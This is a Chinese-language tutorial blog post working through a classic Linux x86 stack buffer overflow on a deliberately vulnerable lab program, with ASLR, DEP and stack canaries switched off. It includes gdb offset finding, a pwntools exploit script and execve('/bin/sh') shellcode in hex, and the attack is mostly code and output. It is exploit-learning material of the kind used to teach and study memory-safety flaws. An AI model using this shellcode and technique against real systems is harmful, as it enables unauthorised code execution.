0x0 前言

最近笔者研究linux平台下exploit技术,开始还是从最基础的栈溢出开始写利用,然后慢慢的去研究复杂的内存防御机制。


0x1 开工

linux下的防御机制和windows几乎是差不多的,主要就是dep,栈上溢出保护和alsr堆栈上溢出的防御。

具有明显溢出的代码
//***************************************************************************
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 256);

}

int main(int argc, char** argv) {
        vulnerable_function();
        write(STDOUT_FILENO, "Hello, World\n", 13);
}
//***************************************************************************


#代码编译
gcc -fno-stack-protector -z execstack -o level1 level1.c
这个命令编译程序。-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector。


然后关闭alsr:
在笔者机器上
root@ubuntu-virtual-machine:~/Desktop# cat /proc/sys/kernel/randomize_va_space
2
root@ubuntu-virtual-machine:~/Desktop# sudo echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu-virtual-machine:~/Desktop# cat /proc/sys/kernel/randomize_va_space0
0
注释:关闭地址随机化需要管理权限,ubuntu使用指令sudo -s 切换到管理员。

关闭地址随机化之后
root@ubuntu-virtual-machine:~/Desktop# ./stack
stack pointer (ESP:0xbffff728)
root@ubuntu-virtual-machine:~/Desktop# ./stack
stack pointer (ESP:0xbffff728)
root@ubuntu-virtual-machine:~/Desktop# ./stack
stack pointer (ESP:0xbffff728)
root@ubuntu-virtual-machine:~/Desktop# ./stack
stack pointer (ESP:0xbffff728)
root@ubuntu-virtual-machine:~/Desktop# ./stack
stack pointer (ESP:0xbffff728)
root@ubuntu-virtual-machine:~/Desktop# ./stack
stack pointer (ESP:0xbffff728)
效果如图:

测试地址随机化是否被关闭的代码
//****************************************************************************************
//*****gcc -g stack.c -o stack***********************************************************
#include <stdio.h>
unsigned long sp(void){asm ("mov %esp,%eax");}

int main()
{
        unsigned long esp =sp();
        printf("stack pointer (ESP:0x%lx)\n",esp);

        return 0;
}
//****************************************************************************************
//****************************************************************************************

这几个指令。执行完后我们就关掉整个linux系统的ASLR保护。

为了写exploit,推荐使用CTF比赛的工具pwntools,笔者测试用的是ubuntux86,(笔者在centos上装过这个pwntools,但是存在很多问题)
获得发行版本
$ apt-get install python2.7 python2.7-dev python-pip
$ pip install pwntools

获得最新版本
$ git clone https://github.com/Gallopsled/pwntools
$ cd pwntools
$ pip install -e 

生成一个150个字节的字符
root@ubuntu-virtual-machine:~/Desktop# python pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

然后gdb调试,把字符输入进去
root@ubuntu-virtual-machine:~/Desktop# gdb ./level1
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/ubuntu/Desktop/level1...(no debugging symbols found)...done.
(gdb) Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
Undefined command: "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9".  Try "help".
(gdb) run
Starting program: /home/ubuntu/Desktop/level1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
(gdb)

可以看到eip=0x37654136出错了。

利用pwntools中的脚本pattern.py找到这个地址
root@ubuntu-virtual-machine:~/Desktop# python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140
这个地址位于字符串的第140字节,然后,生成一个140长度的字符串,+AAAA测试一下
root@ubuntu-virtual-machine:~/Desktop# python pattern.py create 140
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae

效果如下
root@ubuntu-virtual-machine:~/Desktop# gdb ./level1
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/ubuntu/Desktop/level1...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/ubuntu/Desktop/level1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5AeAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
错误地址变为0x41414141 也就是AAAA,这样就能控制EIP了。

下一步就是写shellcode了。
此时,程序栈的内存布局大概示意图如下:
[shellcode][“AAAAAAAAAAAAAA”….]          [ret]
^------------------------------------------------|

 现在需要控制EIP跳到shellcode的位置,这就需要定位shellcode在哪里了,由于笔者已经关闭了alsr,dep,栈溢出保护等等防护机制。
也就是栈上的地址都是固定的,主要把刚才的“AAAA”也就是0x41414141换成一个固定的地址就行了,现在就是要找到这个地址,
因为程序在调试状态下和正常运行的状态下栈上的地址排布是不同的,所以要生成一个运行时的dump文件。

开启core Dump ,运行如下指令
#bash
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t"' > /proc/sys/kernel/core_pattern

root@ubuntu-virtual-machine:~/Desktop# ulimit -c unlimited
root@ubuntu-virtual-machine:~/Desktop# sh -c 'echo "/tmp/core.%t"' > /proc/sys/kernel/core_pattern

然后直接运行,不调试
root@ubuntu-virtual-machine:~/Desktop# ./level1
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5AeAAAA
Segmentation fault (core dumped)
此时就生成了dump文件。

然后分析dump
root@ubuntu-virtual-machine:~/Desktop# gdb ./level1 /tmp/core.1448252988
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/ubuntu/Desktop/level1...(no debugging symbols found)...done.
[New LWP 24784]

warning: Can't read pathname for load map: Input/output error.
Core was generated by `./level1'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x /10s $esp -144
0xbffff6b0:     "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5AeAAAA\n\322\376\267"
0xbffff745:     ""
0xbffff746:     ""
0xbffff747:     ""
0xbffff748:     "i\204\004\b\364o\374\267`\204\004\b"
0xbffff755:     ""
0xbffff756:     ""
0xbffff757:     ""
0xbffff758:     ""
0xbffff759:     ""

定位到AAAA字符的内存位置(0xbffff73c )
(gdb) x /10s 0xbffff73c
0xbffff73c:     "AAAA\n\322\376\267"
0xbffff745:     ""
0xbffff746:     ""
0xbffff747:     ""
0xbffff748:     "i\204\004\b\364o\374\267`\204\004\b"
0xbffff755:     ""
0xbffff756:     ""
0xbffff757:     ""
0xbffff758:     ""

内存位置已经找到:0xbffff73c -0x8c(144) = 0xbfff f6b0
现在需要在这个位置布置shellcode
笔者暂时到网上搜了一个shellcode贴上了,exp代码如下
//**************************************************************************
#!/usr/bin/env python
from pwn import *

p = process('./level1')
#p = remote('127.0.0.1',10001)

ret = 0xbffff73c -0x8c #140

# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f   ;; hs//
# push 0x6e69622f   ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode+="\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode+="\x0b\xcd\x80"
payload =  shellcode + 'A' * (140 - len(shellcode))   + p32(ret)

print payload
p.send(payload)
print ("sending payload ok\n")
p.interactive()
//**************************************************************************
运行之后出问题了。。。。。
root@ubuntu-virtual-machine:~/Desktop# python exp1.py
[+] Started program './level1'
1���Qh//shh/bin\x89��
                     AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xb0���
sending payload ok

[*] Switching to interactive mode
[*] Program './level1' stopped with exit code -11
[*] Got EOF while reading in interactive
$


但是笔者把这个shellcode存入文件,然后运行
root@ubuntu-virtual-machine:~/Desktop# ./level1 <4.bin
root@ubuntu-virtual-machine:~/Desktop#
没有输出任何结果,也说明这个shellcode运行了,没有崩溃,否则会生成dump文件。 然后去查问题出在哪了???
笔者定位到原因是因为参数环境的问题。
笔者修改了shellcode让程序崩溃,查看堆栈和参数
#0  0xbffff6c9 in ?? ()
(gdb) info r
eax            0xb     11
ecx            0xbffff72c     -1073744084
edx            0x100     256
ebx            0xbffff734     -1073744076
esp            0xbffff72c     0xbffff72c
ebp            0x41414141     0x41414141
esi            0x0     0
edi            0x0     0
eip            0xbffff6c9     0xbffff6c9
eflags         0x10246     [ PF ZF IF RF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0     0
gs             0x33     51

问题出在edx上,edx本该等于NULL,这个edx表了execve的第三个参数,环境信息字符串,
此时EDX=0x100,地址自然不能读写,也没有环境字符串,所以int 0x80之后,eax就返回了0xfffffff2,提示一个内存读的错误。
 
这就要手工把这个寄存器也该成0了,修改shellcode,


0x2 shellcode的编写

网上搜了一份shellcodeC语言代码如下:

#include <stdio.h>
#include <string.h>
char sc[] =
  "\x31\xc0"
  "\x50"
  "\x68\x6e\x2f\x73\x68"
  "\x68\x2f\x2f\x62\x69"
  "\x89\xe3"
  "\x50"
  "\x53"
  "\x89\xe1"
  "\xb0\x0b"
  "\xcd\x80";
int main()
{
  void (*fp)(void) = (void (*)(void))sc;

  printf("Length: %d\n",strlen(sc));
  fp();
}

上面的就是shellcode。源代码保存为shellcode.c,然后编译、连接。

直接编译,shellcode是不能执行的,原因是编译出来的可执行文件的堆栈段,是不可执行的。
加上参数-z execstack就能变成可执行了。

gcc -o shellcode -z execstack shellcode.c

执行效果:
[root@cloud ~]# ./shellcode
Length: 23
sh-4.1# ls    
 

0xFF 总结
刚开始搞linux exploit


参考文章
http://blog.csdn.net/force_eagle/article/details/8024502
http://drops.wooyun.org/tips/6597